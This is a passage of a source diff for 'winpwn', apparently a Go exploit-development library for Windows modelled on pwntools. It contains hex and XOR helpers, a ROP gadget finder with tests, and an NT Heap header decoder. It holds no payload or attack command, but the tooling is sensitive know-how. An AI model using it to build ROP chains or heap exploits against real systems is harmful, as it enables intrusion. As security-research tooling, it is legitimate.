func Unhex(s string) ([]byte, error) {
|
||||
return hex.DecodeString(s)
|
||||
}
|
||||
|
||||
// Xor XORs data against key, cycling key if it's shorter than data --
|
||||
// the analogue of pwntools' xor(data, key).
|
||||
func Xor(data, key []byte) []byte {
|
||||
if len(key) == 0 {
|
||||
out := make([]byte, len(data))
|
||||
copy(out, data)
|
||||
return out
|
||||
}
|
||||
out := make([]byte, len(data))
|
||||
for i, b := range data {
|
||||
out[i] = b ^ key[i%len(key)]
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// Hexdump renders data as a classic 16-bytes-per-line hex+ASCII dump
|
||||
// (offset, hex bytes, printable-ASCII gutter with '.' for non-printable),
|
||||
// the analogue of pwntools' hexdump(data).
|
||||
func Hexdump(data []byte) string {
|
||||
var sb strings.Builder
|
||||
for off := 0; off < len(data); off += 16 {
|
||||
end := off + 16
|
||||
if end > len(data) {
|
||||
end = len(data)
|
||||
}
|
||||
line := data[off:end]
|
||||
|
||||
fmt.Fprintf(&sb, "%08x ", off)
|
||||
for i := 0; i < 16; i++ {
|
||||
if i == 8 {
|
||||
sb.WriteByte(' ')
|
||||
}
|
||||
if i < len(line) {
|
||||
fmt.Fprintf(&sb, "%02x ", line[i])
|
||||
} else {
|
||||
sb.WriteString(" ")
|
||||
}
|
||||
}
|
||||
sb.WriteString(" ")
|
||||
for _, b := range line {
|
||||
if b >= 0x20 && b < 0x7f {
|
||||
sb.WriteByte(b)
|
||||
} else {
|
||||
sb.WriteByte('.')
|
||||
}
|
||||
}
|
||||
sb.WriteByte('\n')
|
||||
}
|
||||
return sb.String()
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestEnhexUnhexRoundTrip(t *testing.T) {
|
||||
data := []byte("Hello, world!")
|
||||
h := Enhex(data)
|
||||
if h != "48656c6c6f2c20776f726c6421" {
|
||||
t.Errorf("Enhex = %q", h)
|
||||
}
|
||||
back, err := Unhex(h)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !bytes.Equal(back, data) {
|
||||
t.Errorf("Unhex(Enhex(x)) = %q, want %q", back, data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestUnhexInvalid(t *testing.T) {
|
||||
if _, err := Unhex("zz"); err == nil {
|
||||
t.Error("expected error for invalid hex string")
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorRoundTrip(t *testing.T) {
|
||||
data := []byte("attack at dawn")
|
||||
key := []byte{0x42}
|
||||
if got := Xor(Xor(data, key), key); !bytes.Equal(got, data) {
|
||||
t.Errorf("Xor(Xor(x,k),k) = %q, want %q", got, data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestXorCyclesKey(t *testing.T) {
|
||||
data := []byte{1, 2, 3, 4}
|
||||
key := []byte{0xff, 0xff}
|
||||
got := Xor(data, key)
|
||||
want := []byte{0xfe, 0xfd, 0xfc, 0xfb}
|
||||
if !bytes.Equal(got, want) {
|
||||
t.Errorf("Xor = %v, want %v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHexdumpFormat(t *testing.T) {
|
||||
out := Hexdump([]byte("Hello, world!"))
|
||||
if !bytes.Contains([]byte(out), []byte("48 65 6c 6c 6f")) {
|
||||
t.Errorf("Hexdump missing expected hex bytes: %q", out)
|
||||
}
|
||||
if !bytes.Contains([]byte(out), []byte("Hello, world!")) {
|
||||
t.Errorf("Hexdump missing ASCII gutter: %q", out)
|
||||
}
|
||||
}
|
||||
+182
@@ -0,0 +1,182 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"debug/pe"
|
||||
"fmt"
|
||||
"os"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strings"
|
||||
|
||||
"golang.org/x/arch/x86/x86asm"
|
||||
)
|
||||
|
||||
// Gadget describes a found ROP gadget.
|
||||
type Gadget struct {
|
||||
Address uint64
|
||||
Instructions string
|
||||
}
|
||||
|
||||
// ROP finds ROP gadgets in a binary, the winpwn analogue of pwntools' ROP.
|
||||
// NewROP shells out to rp-win.exe (a Windows build of rp++) — a real,
|
||||
// battle-tested gadget finder instead of a hand-rolled scanner. Disassemble
|
||||
// still works natively (via golang.org/x/arch/x86/x86asm) for verifying a
|
||||
// chain in-script.
|
||||
type ROP struct {
|
||||
binaryPath string
|
||||
toolPath string
|
||||
gadgets []Gadget
|
||||
pe *PEFile // held open for Disassemble() and arch detection
|
||||
mode int // x86asm.Mode equivalent (32/64)
|
||||
}
|
||||
|
||||
// defaultRPWinTool is where rp-win.exe lives on this machine. Override with
|
||||
// the RP_WIN_EXE environment variable if it's installed somewhere else.
|
||||
const defaultRPWinTool = `C:\tools\rp-win\rp-win.exe`
|
||||
|
||||
// NewROP scans binaryPath for ROP/JOP gadgets using rp-win.exe, resolved
|
||||
// from the RP_WIN_EXE environment variable or defaultRPWinTool. Use
|
||||
// NewROPExternal to point at a specific tool binary instead (a different
|
||||
// rp++ build, or a copy kept somewhere else).
|
||||
func NewROP(binaryPath string) (*ROP, error) {
|
||||
toolPath := os.Getenv("RP_WIN_EXE")
|
||||
if toolPath == "" {
|
||||
toolPath = defaultRPWinTool
|
||||
}
|
||||
if _, err := os.Stat(toolPath); err != nil {
|
||||
return nil, fmt.Errorf("can't find rp-win.exe at %q (%w) -- set RP_WIN_EXE to override, or use NewROPExternal(path, toolPath)", toolPath, err)
|
||||
}
|
||||
return newROP(binaryPath, toolPath)
|
||||
}
|
||||
|
||||
func newROP(binaryPath, toolPath string) (*ROP, error) {
|
||||
peFile, err := OpenPE(binaryPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
mode, err := archMode(peFile)
|
||||
if err != nil {
|
||||
peFile.Close()
|
||||
return nil, err
|
||||
}
|
||||
|
||||
r := &ROP{binaryPath: binaryPath, toolPath: toolPath, pe: peFile, mode: mode}
|
||||
if err := r.findGadgetsExternal(); err != nil {
|
||||
peFile.Close()
|
||||
return nil, err
|
||||
}
|
||||
return r, nil
|
||||
}
|
||||
|
||||
// Close releases the PE handle held for Disassemble/arch detection.
|
||||
func (r *ROP) Close() {
|
||||
if r.pe != nil {
|
||||
r.pe.Close()
|
||||
}
|
||||
}
|
||||
|
||||
func archMode(p *PEFile) (int, error) {
|
||||
switch p.File.Machine {
|
||||
case pe.IMAGE_FILE_MACHINE_AMD64:
|
||||
return 64, nil
|
||||
case pe.IMAGE_FILE_MACHINE_I386:
|
||||
return 32, nil
|
||||
default:
|
||||
return 0, fmt.Errorf("unsupported machine type for gadget scanning: 0x%X", p.File.Machine)
|
||||
}
|
||||
}
|
||||
|
||||
// Disassemble decodes up to count instructions starting at the absolute
|
||||
// address addr, the verification step pwntools leaves to objdump/Capstone:
|
||||
// "did the gadget chain I built actually decode the way I think it did".
|
||||
func (r *ROP) Disassemble(addr uint64, count int) ([]string, error) {
|
||||
imageBase, err := r.pe.ImageBase()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if addr < imageBase {
|
||||
return nil, fmt.Errorf("address is below ImageBase")
|
||||
}
|
||||
rva := uint32(addr - imageBase)
|
||||
offset := r.pe.RVAToFileOffset(rva)
|
||||
if offset == 0 {
|
||||
return nil, fmt.Errorf("address does not map to any section")
|
||||
}
|
||||
|
||||
buf := make([]byte, 16*count)
|
||||
n, _ := r.pe.r.ReadAt(buf, offset)
|
||||
buf = buf[:n]
|
||||
|
||||
var lines []string
|
||||
pos := 0
|
||||
for i := 0; i < count && pos < len(buf); i++ {
|
||||
inst, err := x86asm.Decode(buf[pos:], r.mode)
|
||||
if err != nil {
|
||||
return lines, fmt.Errorf("decode failed at +%d: %w", pos, err)
|
||||
}
|
||||
lines = append(lines, strings.ToLower(x86asm.IntelSyntax(inst, addr+uint64(pos), nil)))
|
||||
pos += inst.Len
|
||||
}
|
||||
return lines, nil
|
||||
}
|
||||
|
||||
// Find returns every gadget whose formatted instruction text contains
|
||||
// pattern as a substring, ranked so index 0 is the best candidate to use --
|
||||
// the one-expression version of Search for the common case:
|
||||
//
|
||||
// rop.Find("pop rcx ; ret")[0].Address
|
||||
//
|
||||
// Ranking, in order: an exact match to pattern beats a mere substring match
|
||||
// (a bare "pop rcx ; ret" outranks "ror byte [rax-0x1], 0x15 ; pop rcx ;
|
||||
// ret" even though both contain the pattern and the latter may sit at a
|
||||
// numerically lower address); shorter instruction text (fewer side-effect
|
||||
// instructions riding along) beats longer; address ascending breaks
|
||||
// remaining ties for determinism. Without this, sorting by raw address
|
||||
// alone can hand back a "dirty" multi-instruction gadget at [0] purely
|
||||
// because it happens to start a few bytes earlier in memory.
|
||||
//
|
||||
// Indexing an empty result panics -- deliberate for exploit scripts: fail
|
||||
// loudly at the gadget lookup itself, not three chain-steps later against a
|
||||
// garbage address.
|
||||
func (r *ROP) Find(pattern string) []Gadget {
|
||||
needle := strings.ToLower(pattern)
|
||||
var out []Gadget
|
||||
for _, g := range r.gadgets {
|
||||
if strings.Contains(strings.ToLower(g.Instructions), needle) {
|
||||
out = append(out, g)
|
||||
}
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool {
|
||||
ei, ej := strings.EqualFold(out[i].Instructions, pattern), strings.EqualFold(out[j].Instructions, pattern)
|
||||
if ei != ej {
|
||||
return ei
|
||||
}
|
||||
if len(out[i].Instructions) != len(out[j].Instructions) {
|
||||
return len(out[i].Instructions) < len(out[j].Instructions)
|
||||
}
|
||||
return out[i].Address < out[j].Address
|
||||
})
|
||||
return out
|
||||
}
|
||||
|
||||
// SearchRegex finds gadgets whose instruction text matches the given
|
||||
// regular expression (e.g. `^pop r[a-z]+ ; ret$`), for when a plain
|
||||
// substring (Search/Find) isn't precise enough.
|
||||
func (r *ROP) SearchRegex(pattern string) ([]Gadget, error) {
|
||||
re, err := regexp.Compile(pattern)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var results []Gadget
|
||||
for _, g := range r.gadgets {
|
||||
if re.MatchString(strings.ToLower(g.Instructions)) {
|
||||
results = append(results, g)
|
||||
}
|
||||
}
|
||||
if len(results) == 0 {
|
||||
return nil, fmt.Errorf("no gadget matched regex %q", pattern)
|
||||
}
|
||||
return results, nil
|
||||
}
|
||||
+163
@@ -0,0 +1,163 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// testFixturePE is a real PE32+ checked into the repo (examples/bof_basic),
|
||||
// used by the ROP-level tests below to validate parsing against an actual
|
||||
// binary rather than only hand-built Gadget slices.
|
||||
const testFixturePE = "examples/bof_basic/bof_win.c.exe"
|
||||
|
||||
func requireFixturePE(t *testing.T) {
|
||||
if _, err := os.Stat(testFixturePE); err != nil {
|
||||
t.Skipf("fixture %s not present: %v", testFixturePE, err)
|
||||
}
|
||||
}
|
||||
|
||||
// requireRPWinTool skips a test if rp-win.exe isn't resolvable -- NewROP
|
||||
// shells out to it, so integration tests that build a real ROP need it
|
||||
// installed the same way a real target binary needs to exist.
|
||||
func requireRPWinTool(t *testing.T) {
|
||||
toolPath := os.Getenv("RP_WIN_EXE")
|
||||
if toolPath == "" {
|
||||
toolPath = defaultRPWinTool
|
||||
}
|
||||
if _, err := os.Stat(toolPath); err != nil {
|
||||
t.Skipf("rp-win.exe not present at %s: %v", toolPath, err)
|
||||
}
|
||||
}
|
||||
|
||||
// The Find/SearchRegex tests below construct a *ROP directly from a
|
||||
// hand-built gadgets slice, bypassing NewROP entirely -- these two methods
|
||||
// only ever read r.gadgets, so this exercises the actual filtering/sorting
|
||||
// logic without needing rp-win.exe or a real PE on the test machine.
|
||||
|
||||
func TestROPFindSortsByAddressAscendingAsTiebreak(t *testing.T) {
|
||||
r := &ROP{gadgets: []Gadget{
|
||||
{Address: 0x3000, Instructions: "pop rcx ; ret"},
|
||||
{Address: 0x1000, Instructions: "pop rcx ; ret"},
|
||||
{Address: 0x2000, Instructions: "pop rcx ; ret"},
|
||||
}}
|
||||
|
||||
found := r.Find("pop rcx ; ret")
|
||||
if len(found) != 3 {
|
||||
t.Fatalf("expected 3 matches, got %d", len(found))
|
||||
}
|
||||
for i := 1; i < len(found); i++ {
|
||||
if found[i-1].Address > found[i].Address {
|
||||
t.Fatalf("results not sorted ascending among equal-quality matches: %v", found)
|
||||
}
|
||||
}
|
||||
if found[0].Address != 0x1000 {
|
||||
t.Errorf("Find(...)[0] should be the lowest address among ties, got 0x%X", found[0].Address)
|
||||
}
|
||||
}
|
||||
|
||||
func TestROPFindPrefersExactMatchOverDirtySubstring(t *testing.T) {
|
||||
// Regression test for a real bug caught against kernel32.dll: sorting
|
||||
// purely by address let a "dirty" longer gadget win [0] over the clean
|
||||
// one just because it happened to start a few bytes earlier in memory
|
||||
// (0x1800198B7 < 0x1800198BB numerically, even though only the latter
|
||||
// is a bare "pop rcx ; ret" with no side effects).
|
||||
r := &ROP{gadgets: []Gadget{
|
||||
{Address: 0x1800198B7, Instructions: "ror byte [rax-0x1], 0x15 ; pop rcx ; ret"},
|
||||
{Address: 0x1800198BB, Instructions: "pop rcx ; ret"},
|
||||
}}
|
||||
|
||||
found := r.Find("pop rcx ; ret")
|
||||
if len(found) != 2 {
|
||||
t.Fatalf("expected 2 matches, got %d", len(found))
|
||||
}
|
||||
if found[0].Address != 0x1800198BB || found[0].Instructions != "pop rcx ; ret" {
|
||||
t.Errorf("Find(...)[0] should be the clean exact-match gadget, got %+v", found[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestROPFindSubstringMatchIsCaseInsensitive(t *testing.T) {
|
||||
r := &ROP{gadgets: []Gadget{
|
||||
{Address: 0x1000, Instructions: "POP RCX ; RET"},
|
||||
{Address: 0x2000, Instructions: "pop rdx ; ret"},
|
||||
}}
|
||||
|
||||
found := r.Find("pop rcx ; ret")
|
||||
if len(found) != 1 || found[0].Address != 0x1000 {
|
||||
t.Errorf("expected a case-insensitive match on 0x1000, got %v", found)
|
||||
}
|
||||
}
|
||||
|
||||
func TestROPFindReturnsEmptyWhenNoMatch(t *testing.T) {
|
||||
r := &ROP{gadgets: []Gadget{{Address: 0x1000, Instructions: "pop rcx ; ret"}}}
|
||||
|
||||
found := r.Find("pop rbp ; ret")
|
||||
if len(found) != 0 {
|
||||
t.Errorf("expected no matches, got %v", found)
|
||||
}
|
||||
}
|
||||
|
||||
func TestROPFindEmptyIndexPanics(t *testing.T) {
|
||||
// Documented behavior: indexing an empty Find() result panics rather
|
||||
// than silently handing back a zero-value Gadget -- an exploit script
|
||||
// should fail loudly at the gadget lookup, not against a garbage
|
||||
// address three chain-steps later.
|
||||
defer func() {
|
||||
if recover() == nil {
|
||||
t.Error("expected indexing an empty Find() result to panic")
|
||||
}
|
||||
}()
|
||||
r := &ROP{gadgets: nil}
|
||||
_ = r.Find("nonexistent")[0]
|
||||
}
|
||||
|
||||
func TestROPSearchRegexOnHandBuiltGadgets(t *testing.T) {
|
||||
r := &ROP{gadgets: []Gadget{
|
||||
{Address: 0x1000, Instructions: "pop rcx ; ret"},
|
||||
{Address: 0x2000, Instructions: "pop rdx ; ret"},
|
||||
{Address: 0x3000, Instructions: "mov [rcx], eax ; ret"},
|
||||
}}
|
||||
|
||||
gadgets, err := r.SearchRegex(`^pop r\w+ ; ret$`)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(gadgets) != 2 {
|
||||
t.Errorf("expected 2 pop-reg-then-ret gadgets, got %d: %v", len(gadgets), gadgets)
|
||||
}
|
||||
}
|
||||
|
||||
func TestROPFindsRetGadget(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
requireRPWinTool(t)
|
||||
rop, err := NewROP(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
gadgets, err := rop.Search("ret")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(gadgets) == 0 {
|
||||
t.Error("expected at least one 'ret' gadget in a real x64 binary")
|
||||
}
|
||||
}
|
||||
|
||||
func TestROPSearchRegex(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
requireRPWinTool(t)
|
||||
rop, err := NewROP(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer rop.Close()
|
||||
|
||||
gadgets, err := rop.SearchRegex(`^pop r\w+ ; ret$`)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(gadgets) == 0 {
|
||||
t.Error("expected at least one pop-reg-then-ret gadget")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
module winpwn
|
||||
|
||||
go 1.26.2
|
||||
|
||||
require (
|
||||
golang.org/x/arch v0.28.0
|
||||
golang.org/x/sys v0.46.0
|
||||
)
|
||||
@@ -0,0 +1,4 @@
|
||||
golang.org/x/arch v0.28.0 h1:wVwVdqsTuUbJvhYVCspQYwZXHNYeLSoZnmHD+ggddpQ=
|
||||
golang.org/x/arch v0.28.0/go.mod h1:0X+GdSIP+kL5wPmpK7sdkEVTt2XoYP0cSjQSbZBwOi8=
|
||||
golang.org/x/sys v0.46.0 h1:noSf2Fq6F8DBgS+LysIkx7rIExoNHJsxOAtPp4rthXw=
|
||||
golang.org/x/sys v0.46.0/go.mod h1:4GL1E5IUh+htKOUEOaiffhrAeqysfVGipDYzABqnCmw=
|
||||
@@ -0,0 +1,520 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"io"
|
||||
)
|
||||
|
||||
// This file is the foundation layer of winpwn's heap-structure parsing
|
||||
// (ROADMAP.md's Phase 9): decoding the NT Heap's on-disk^Won-memory layout
|
||||
// directly off a ReaderAt, the same "works identically against a file or a
|
||||
// live process" design PEFile already uses for PE images. Everything here
|
||||
// works against any io.ReaderAt -- a *ProcessMemory, a *Debugger (via a
|
||||
// thin adapter), or a synthetic in-memory buffer in a test -- so it has no
|
||||
// build tag despite being Windows-structure-specific; only *finding* a
|
||||
// heap address in a live process (heap_windows.go's ListProcessHeaps) needs
|
||||
// actual Windows syscalls.
|
||||
//
|
||||
// Every offset/field below was cross-checked against `dt ntdll!_HEAP` and
|
||||
// friends via cdb (public ntdll symbols carry full type info even without
|
||||
// source) on this machine's build (10.0.26100, Windows 11 24H2) -- not
|
||||
// copied from a blog post and not guessed from memory. The decode logic
|
||||
// specifically (DecodeHeapEntry's XOR-encoding handling and the
|
||||
// Size/UnusedBytes arithmetic) was verified against `!heap -a`'s own
|
||||
// ground-truth entry listing for three real allocations of different
|
||||
// sizes before being trusted -- see heap_test.go's
|
||||
// TestDecodeHeapEntryMatchesLiveGroundTruth for the exact captured bytes
|
||||
// and the discovery that cost the most back-and-forth: UserSize is
|
||||
// `Size*HeapEntrySize - UnusedBytes` with NO separate subtraction for the
|
||||
// header, not the more "obvious" `Size*HeapEntrySize - HeapEntrySize -
|
||||
// UnusedBytes` -- UnusedBytes already accounts for the header itself, a
|
||||
// detail no amount of reading the struct definition alone would have
|
||||
// caught without comparing against real numbers.
|
||||
//
|
||||
// Struct layouts are a moving target across Windows builds -- if you're
|
||||
// reading this on a different build and something doesn't line up, redo
|
||||
// the `dt ntdll!_HEAP` capture in USAGE.md's heap walkthrough rather than
|
||||
// assuming these offsets still hold.
|
||||
|
||||
// HeapKind identifies which allocator backend a heap handle is using,
|
||||
// determined the same way HeapAlloc itself effectively does: by the magic
|
||||
// signature 0x10 bytes into the handle (verified earlier in this project
|
||||
// against examples/heap_lfh and examples/heap_segment: 0xffeeffee for the
|
||||
// classic NT Heap, 0xddeeddee for Segment Heap).
|
||||
type HeapKind int
|
||||
|
||||
const (
|
||||
HeapKindUnknown HeapKind = iota
|
||||
HeapKindNT
|
||||
HeapKindSegment
|
||||
)
|
||||
|
||||
func (k HeapKind) String() string {
|
||||
switch k {
|
||||
case HeapKindNT:
|
||||
return "NT Heap"
|
||||
case HeapKindSegment:
|
||||
return "Segment Heap"
|
||||
default:
|
||||
return "unknown"
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
heapSignatureNT = 0xffeeffee
|
||||
heapSignatureSegment = 0xddeeddee
|
||||
)
|
||||
|
||||
// DetectHeapKind reads the 4-byte signature at heapAddr+0x10 -- the very
|
||||
// first thing to do with any heap handle/address before parsing it any
|
||||
// further, since _HEAP and _SEGMENT_HEAP are structurally unrelated past
|
||||
// this point.
|
||||
func DetectHeapKind(r io.ReaderAt, heapAddr uint64) (HeapKind, error) {
|
||||
sig, err := readUint32AtValue(r, int64(heapAddr)+0x10)
|
||||
if err != nil {
|
||||
return HeapKindUnknown, fmt.Errorf("reading signature at 0x%x+0x10: %w", heapAddr, err)
|
||||
}
|
||||
switch sig {
|
||||
case heapSignatureNT:
|
||||
return HeapKindNT, nil
|
||||
case heapSignatureSegment:
|
||||
return HeapKindSegment, nil
|
||||
default:
|
||||
return HeapKindUnknown, fmt.Errorf("unrecognized heap signature 0x%08x at 0x%x+0x10 (expected 0x%08x NT Heap or 0x%08x Segment Heap)",
|
||||
sig, heapAddr, heapSignatureNT, heapSignatureSegment)
|
||||
}
|
||||
}
|
||||
|
||||
// HeapEntrySize is HEAP_GRANULARITY on x64: every _HEAP_ENTRY header is
|
||||
// exactly this many bytes, and Size/PreviousSize are both counted in units
|
||||
// of it, not in plain bytes. Confirmed empirically (heap_test.go), not
|
||||
// just asserted from the struct definition -- see this file's top comment.
|
||||
const HeapEntrySize = 0x10
|
||||
|
||||
// _HEAP_ENTRY.Flags bits. Long-standing, widely published constants (every
|
||||
// heap-exploitation writeup and WinDbg's own !heap extension use these same
|
||||
// values), unlike the struct offsets above which are this-build-specific --
|
||||
// these have been stable since before Windows 8's header encoding existed.
|
||||
const (
|
||||
HeapEntryBusy = 0x01
|
||||
HeapEntryExtraPresent = 0x02
|
||||
HeapEntryFillPattern = 0x04
|
||||
HeapEntryVirtualAlloc = 0x08
|
||||
HeapEntryLastEntry = 0x10
|
||||
)
|
||||
|
||||
// HeapEntry is the decoded form of a 16-byte _HEAP_ENTRY header -- the
|
||||
// thing immediately preceding every NT Heap allocation's user data,
|
||||
// equally present whether or not LFH/the front-end allocator owns the
|
||||
// block (see this file's WalkSegment vs heap_lfh.go's subsegment-aware
|
||||
// walk for why both views matter).
|
||||
type HeapEntry struct {
|
||||
Addr uint64 // address of the header itself, i.e. UserData()-HeapEntrySize
|
||||
Size uint16 // total block size (header+user data+padding), in HeapEntrySize units
|
||||
Flags uint8
|
||||
SmallTagIndex uint8
|
||||
PreviousSize uint16 // previous block's total size, same units -- lets you walk backward
|
||||
SegmentOffset uint8 // doubles as LFHFlags when this entry belongs to an LFH subsegment
|
||||
UnusedBytes uint8
|
||||
}
|
||||
|
||||
func (e HeapEntry) Busy() bool { return e.Flags&HeapEntryBusy != 0 }
|
||||
func (e HeapEntry) LastEntry() bool { return e.Flags&HeapEntryLastEntry != 0 }
|
||||
func (e HeapEntry) VirtualAlloc() bool { return e.Flags&HeapEntryVirtualAlloc != 0 }
|
||||
|
||||
// BlockSize is the entry's total physical footprint (header + user data +
|
||||
// any padding), in bytes.
|
||||
func (e HeapEntry) BlockSize() uint64 { return uint64(e.Size) * HeapEntrySize }
|
||||
|
||||
// PreviousBlockSize is the immediately preceding entry's BlockSize, in
|
||||
// bytes -- lets you find where the previous entry starts without having
|
||||
// walked there directly (e.Addr - e.PreviousBlockSize()).
|
||||
func (e HeapEntry) PreviousBlockSize() uint64 { return uint64(e.PreviousSize) * HeapEntrySize }
|
||||
|
||||
// UserData is the address HeapAlloc actually returned to the caller.
|
||||
func (e HeapEntry) UserData() uint64 { return e.Addr + HeapEntrySize }
|
||||
|
||||
// UserSize is what HeapSize() would report for this block -- the original
|
||||
// requested size (rounded up to grain, header already accounted for).
|
||||
// Empirically, this is BlockSize()-UnusedBytes with no separate header
|
||||
// subtraction; see this file's top comment for how that was confirmed.
|
||||
func (e HeapEntry) UserSize() uint64 {
|
||||
bs := e.BlockSize()
|
||||
if uint64(e.UnusedBytes) > bs {
|
||||
return 0
|
||||
}
|
||||
return bs - uint64(e.UnusedBytes)
|
||||
}
|
||||
|
||||
// NextEntry is the address of the entry immediately following this one.
|
||||
func (e HeapEntry) NextEntry() uint64 { return e.Addr + e.BlockSize() }
|
||||
|
||||
// DecodeHeapEntry decodes a raw 16-byte _HEAP_ENTRY read from addr,
|
||||
// reversing the Windows 8+ header-encoding mitigation if encoding is
|
||||
// non-nil (pass Heap.Encoding; nil only if you've separately confirmed
|
||||
// EncodeFlagMask is 0 for this heap, which is rare in practice). Only
|
||||
// bytes 8-15 of the entry are ever encoded -- bytes 0-7
|
||||
// (PreviousBlockPrivateData) are plain, usually-stale data, not part of
|
||||
// the XOR scheme at all.
|
||||
func DecodeHeapEntry(addr uint64, raw [16]byte, encoding *[16]byte) HeapEntry {
|
||||
var compact [8]byte
|
||||
copy(compact[:], raw[8:16])
|
||||
if encoding != nil {
|
||||
for i := range compact {
|
||||
compact[i] ^= encoding[8+i]
|
||||
}
|
||||
}
|
||||
return HeapEntry{
|
||||
Addr: addr,
|
||||
Size: binary.LittleEndian.Uint16(compact[0:2]),
|
||||
Flags: compact[2],
|
||||
SmallTagIndex: compact[3],
|
||||
PreviousSize: binary.LittleEndian.Uint16(compact[4:6]),
|
||||
SegmentOffset: compact[6],
|
||||
UnusedBytes: compact[7],
|
||||
}
|
||||
}
|
||||
|
||||
// ReadHeapEntry reads and decodes the entry header at addr.
|
||||
func ReadHeapEntry(r io.ReaderAt, addr uint64, encoding *[16]byte) (HeapEntry, error) {
|
||||
var raw [16]byte
|
||||
if _, err := r.ReadAt(raw[:], int64(addr)); err != nil {
|
||||
return HeapEntry{}, fmt.Errorf("reading entry at 0x%x: %w", addr, err)
|
||||
}
|
||||
return DecodeHeapEntry(addr, raw, encoding), nil
|
||||
}
|
||||
|
||||
// Offsets within ntdll's x64 _HEAP, confirmed via `dt ntdll!_HEAP` against
|
||||
// this machine's build (10.0.26100) -- see this file's top comment.
|
||||
const (
|
||||
heapOffBaseAddress = 0x030 // _HEAP_SEGMENT.BaseAddress (the embedded Segment0)
|
||||
heapOffFirstEntry = 0x040 // _HEAP_SEGMENT.FirstEntry
|
||||
heapOffLastValidEntry = 0x048 // _HEAP_SEGMENT.LastValidEntry
|
||||
heapOffSegmentListEntry = 0x018 // _HEAP_SEGMENT.SegmentListEntry (LIST_ENTRY)
|
||||
heapOffFlags = 0x070
|
||||
heapOffForceFlags = 0x074
|
||||
heapOffEncodeFlagMask = 0x07c
|
||||
heapOffEncoding = 0x080 // _HEAP_ENTRY-shaped, 16 bytes
|
||||
heapOffSignature = 0x098
|
||||
heapOffSegmentList = 0x120 // LIST_ENTRY, head of all _HEAP_SEGMENTs (including Segment0 itself)
|
||||
heapOffFrontEndHeap = 0x198
|
||||
heapOffFrontEndHeapType = 0x1a2
|
||||
)
|
||||
|
||||
// FrontEndHeapType values (_HEAP.FrontEndHeapType).
|
||||
const (
|
||||
FrontEndHeapNone = 0
|
||||
FrontEndHeapLookaside = 1 // legacy, rarely seen on modern Windows
|
||||
FrontEndHeapLFH = 2
|
||||
)
|
||||
|
||||
// Heap is the decoded subset of ntdll's _HEAP that matters for
|
||||
// exploitation -- not a byte-for-byte mirror of the ~700-byte real struct
|
||||
// (most of it is debug/tuning bookkeeping no script needs), the same
|
||||
// "decode what's useful, expose RawStream for the rest" philosophy
|
||||
// minidump.go uses.
|
||||
type Heap struct {
|
||||
Addr uint64
|
||||
Signature uint32 // 0xeeffeeff on a real heap -- confirmed live; deliberately byte-rotated from _HEAP_SEGMENT's 0xffeeffee, a different field, not a typo if you see both
|
||||
Flags uint32
|
||||
ForceFlags uint32
|
||||
EncodeFlagMask uint32
|
||||
Encoding [16]byte // pass to DecodeHeapEntry/ReadHeapEntry
|
||||
FrontEndHeapType uint8
|
||||
FrontEndHeap uint64 // *_LFH_HEAP when FrontEndHeapType == FrontEndHeapLFH
|
||||
BaseAddress uint64 // Segment0's base address
|
||||
FirstEntry uint64 // Segment0's first entry
|
||||
LastValidEntry uint64 // Segment0's end-of-committed-range marker
|
||||
}
|
||||
|
||||
// readUint32AtValue mirrors minidump.go's readUint32At but returns the
|
||||
// value directly instead of writing through an out-pointer, matching this
|
||||
// file's other readXAt helpers below.
|
||||
func readUint32AtValue(r io.ReaderAt, offset int64) (uint32, error) {
|
||||
var buf [4]byte
|
||||
if _, err := r.ReadAt(buf[:], offset); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return binary.LittleEndian.Uint32(buf[:]), nil
|
||||
}
|
||||
|
||||
func readUint64At(r io.ReaderAt, offset int64) (uint64, error) {
|
||||
var buf [8]byte
|
||||
if _, err := r.ReadAt(buf[:], offset); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return binary.LittleEndian.Uint64(buf[:]), nil
|
||||
}
|
||||
|
||||
func readUint8At(r io.ReaderAt, offset int64) (uint8, error) {
|
||||
var buf [1]byte
|
||||
if _, err := r.ReadAt(buf[:], offset); err != nil {
|
||||
return 0, err
|
||||
}
|
||||
return buf[0], nil
|
||||
}
|
||||
|
||||
// ReadHeap decodes addr's _HEAP header. Returns an error if addr's
|
||||
// signature isn't the NT Heap one (use DetectHeapKind first if you don't
|
||||
// already know, or ReadSegmentHeap for a 0xddeeddee handle).
|
||||
func ReadHeap(r io.ReaderAt, addr uint64) (*Heap, error) {
|
||||
kind, err := DetectHeapKind(r, addr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if kind != HeapKindNT {
|
||||
return nil, fmt.Errorf("0x%x is a %s, not an NT Heap", addr, kind)
|
||||
}
|
||||
|
||||
